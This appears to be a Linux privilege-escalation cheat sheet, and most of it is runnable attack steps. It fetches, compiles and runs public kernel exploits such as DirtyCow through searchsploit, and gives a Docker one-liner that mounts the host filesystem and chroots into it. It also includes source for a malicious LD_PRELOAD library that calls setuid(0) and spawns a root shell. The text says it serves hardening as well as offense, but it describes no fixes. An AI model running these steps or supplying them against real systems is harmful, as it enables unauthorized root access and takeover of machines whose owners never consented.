Linux Privilege Escalation: Going Up!
Privilege escalation on a Linux system is about exploiting specific vulnerabilities, misconfigurations, or oversights to gain elevated access — typically root. Even on a hardened system, subtle weaknesses like improperly configured SUID/SGID binaries, world-writable files, or unpatched kernel exploits can provide an attacker with a path to escalate privileges. The process involves thorough enumeration to uncover these opportunities, followed by precise exploitation, whether through command injection, leveraging environment variables, or exploiting vulnerable binaries. Mastery of these techniques allows you to move from basic user access to full system control, a crucial step in both offensive security and system hardening.
1. Initial Enumeration
System Info
uname -a
3.10.0-327, search for related exploits using searchsploit.
searchsploit 3.10.0-327
searchsploit -m linux/local/40616.c
gcc -pthread 40616.c -o dirtyc0w
./dirtyc0w
Kernel Version
uname -r
uname -r shows a kernel version with a known local exploit, search for it using searchsploit:
searchsploit <kernel_version>
2.6.32-431, search for relevant exploits.
searchsploit 2.6.32-431
searchsploit -m linux/local/15285.c
gcc 15285.c -o exploit
./exploit
User & Group Info
id
docker or lxd, search for container escape techniques.
For Docker:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
whoami
sudo su
cat /etc/passwd
su <username>
2. Environment Enumeration
Environment Variables
env
LD_PRELOAD or PATH manipulated, create a malicious shared library to exploit LD_PRELOAD:
Create a malicious shared library:
// malicious.c
void _init() {
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -shared -o /tmp/malicious.so -fPIC malicious.c
export LD_PRELOAD=/tmp/malicious.so
